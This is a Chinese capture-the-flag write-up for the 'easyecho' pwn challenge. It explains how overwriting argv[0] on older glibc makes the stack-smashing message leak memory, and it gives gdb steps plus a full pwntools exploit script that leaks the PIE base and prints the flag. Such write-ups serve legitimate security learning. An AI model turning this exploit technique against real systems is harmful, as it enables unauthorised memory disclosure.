*** stack smashing detected ***: 神秘的力量
题面
二进制文件
stack mashing
当程序开启了 canary 保护,在栈溢出的时候就会出现:
1
|
*** stack smashing detected ***
|
后面可能会跟上一些数据,至少在 glibc2.23 是如此。
以 glibc2.23 为例子:在 glibc-2.23/debug/fortify_fail.c 中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
#include <stdio.h>
#include <stdlib.h>
extern char **__libc_argv attribute_hidden;
void
__attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
libc_hidden_def (__fortify_fail)
|
这就是检测 smash 的输出函数,注意到 __libc_message 第二个 %s 为 __libc_argv[0] 也就是常说的 argv[0] 第零参数,往往就是可执行文件的路径。
而 argv[0] 在栈上,如果有大量溢出可以改写这个数据,那么就可以读取想要的字符串数据了。
这无关 canary 保护,因为 canary 保护检测到栈溢出就会执行该函数,恰是我们所希望看到的。
⚠️注意:在 glibc2.31 之后,该漏洞就被修复了, fortify_fail.c 变成这样:
1
2
3
4
5
6
7
8
9
10
11
|
#include <stdio.h>
void
__attribute__ ((noreturn))
__fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (do_abort, "*** %s ***: terminated\n", msg);
}
libc_hidden_def (__fortify_fail)
|
分析
checksec 查看保护全开,吓哭了。
1
2
3
4
5
6
7
8
|
❯ pwn checksec ./easyecho
[*] '/data/project/ctf-repo/pwn/nssctf/2021_鹤城杯-easyecho/easyecho'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
|
ida 静态分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
bool v3; // zf
__int64 v4; // rcx
char *v5; // rsi
const char *v6; // rdi
char v8[16]; // [rsp+0h] [rbp-A8h] BYREF
__int64 (__fastcall *v9)(); // [rsp+10h] [rbp-98h]
char v10[104]; // [rsp+20h] [rbp-88h] BYREF
unsigned __int64 v11; // [rsp+88h] [rbp-20h]
v11 = __readfsqword(0x28u);
sub_DA0(a1, a2, a3);
sub_F40();
v9 = sub_CF0;
puts("Hi~ This is a very easy echo server.");
puts("Please give me your name~");
_printf_chk(1, "Name: ");
sub_E40(v8);
_printf_chk(1, "Welcome %s into the server!\n", v8);
do
{
while ( 1 )
{
_printf_chk(1, "Input: ");
gets(v10);
_printf_chk(1, "Output: %s\n\n", v10);
v4 = 9;
v5 = v10;
v6 = "backdoor";
do
{
if ( !v4 )
break;
v3 = *v5++ == *v6++;
--v4;
}
while ( v3 );
if ( !v3 )
break;
((void (__fastcall *)(const char *, char *))v9)(v6, v5);
}
}
while ( strcmp(v10, "exitexit") );
puts("See you next time~");
return 0;
}
|
先输入姓名,然后打招呼完就是复读机……
sub_CF0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
int sub_CF0()
{
__int64 v0; // rax
int v1; // ebx
unsigned __int64 v3; // [rsp+8h] [rbp-10h]
v3 = __readfsqword(0x28u);
if ( unk_2020A0 )
{
return __readfsqword(0x28u) ^ v3;
}
else
{
unk_2020A0 = 1;
v1 = open("./flag", 0);
if ( v1 < 0 )
perror("open");
read(v1, &unk_202040, 0x50u);
LODWORD(v0) = close(v1);
}
return v0;
}
|
这个函数读取 flag 写入到 unk_202040 中。unk_202040 是 .bss 段的数据。
回到 main 函数,姓名读取过程为:
1
2
3
4
|
puts("Please give me your name~");
_printf_chk(1, "Name: ");
sub_E40(v8);
_printf_chk(1, "Welcome %s into the server!\n", v8);
|
看起来没什么吧,但我看别人题解才知道可以拿来泄漏地址。
backdoor
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
_printf_chk(1, "Input: ");
gets(v10);
_printf_chk(1, "Output: %s\n\n", v10);
v4 = 9;
v5 = v10;
v6 = "backdoor";
do
{
if ( !v4 )
break;
v3 = *v5++ == *v6++;
--v4;
}
while ( v3 );
if ( !v3 )
break;
((void (__fastcall *)(const char *, char *))v9)(v6, v5);
}
}
|
主程序在这里就是输入输出。 gets() 可以写入大量数据。
下面的 do while 用于比较与 v6(backdoor\x00) 是否相等。如果相等则执行 v9 的函数。
v9 保存的函数在前面看到就是 sub_CF0。
也就是说,在输入 backdoor 后,就会调用 sub_CF0 读 flag,将其存储在 .bss 中。
1
2
|
while ( strcmp(v10, "exitexit") );
puts("See you next time~");
|
最后就是程序退出的命令。
利用
首先要 patchelf 把 libc 换成 2.23 方便利用。
因为开启了 PIE 所以需要泄漏地址拿到基址才能读取需要的函数,在 gdb 里调试下,首先跑起来,拿到 pid 用 gdb attach。

Name 输入 thisname,然后运行到合适的地方 ctrl+c 把控制权交给 gdb 后,查看栈空间:

可以看到在 0x10 后栈上保存一个地址。

再通过 vmmap 比较基址偏移得到 0xcf0

我们可以发送 0x10 数据填充,这样接下来的 printf 就会把该地址打印出来,我们再 recv 处理就能得到基址。
1
2
3
4
5
|
io.recvuntil(b"Name:")
io.send(b"a" * 0x10)
io.recvuntil(b"a" * 0x10)
leak_addr = u64(io.recv(6).ljust(8, b"\x00"))
base_addr = leak_addr - 0xcf0
|
拿到基址后,可以尝试寻找在 .bss 存储 flag 的空间地址。
继续用 attach 程序然后在 Input 输入 backdoor 后,再次 attach 程序。
用 gdb-peda 的 find 命令寻找 flag 的地址:

要先提前在该目录下新建一个 flag 方便确认。
这里得到地址为: 0x55b1e6802040 之后再与基址比较得到偏移量为:0x202040。
在 exp 中,之前已经获得了基址,所以 flag 地址也被我们获得了:
1
2
|
flag_addr = base_addr + 0x202040
payload = b'a' * 0x168 + p64(flag_addr)
|
最后是获得栈上 argv[0] 相较于 input 的偏移量,得到填充大小。
先得到 input 的地址: 0x7ffe9fa70c30


在得到该地址:0x7ffe9fa70cc8
计算得到偏移量为 0x168。
之后我们填充 0x168 然后放上 flag 的地址。
1
2
3
4
|
flag_addr = base_addr + 0x202040
payload = b'a' * 0x168 + p64(flag_addr)
io.recvuntil(b"Input:")
io.sendline(payload)
|
接下来退出程序触发 stack smashing。
1
2
3
|
io.recvuntil(b"Input:")
io.sendline(b"exitexit")
io.interactive()
|

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
from pwn import *
context.log_level = 'info'
io = process("./easyecho")
#io = remote("node7.anna.nssctf.cn", 22422)
io.recvuntil(b"Name:")
io.send(b"a" * 0x10)
io.recvuntil(b"a" * 0x10)
leak_addr = u64(io.recv(6).ljust(8, b"\x00"))
base_addr = leak_addr - 0xcf0
io.recvuntil(b"Input:")
io.sendline(b"backdoor")
flag_addr = base_addr + 0x202040
payload = b'a' * 0x168 + p64(flag_addr)
io.recvuntil(b"Input:")
io.sendline(payload)
io.recvuntil(b"Input:")
io.sendline(b"exitexit")
io.interactive()
|
参考资料
-
CTF Wiki 花式栈溢出技巧 Stack smash¶
- [2021 鹤城杯] easyecho 栈溢出与 Stack Smash 利用复现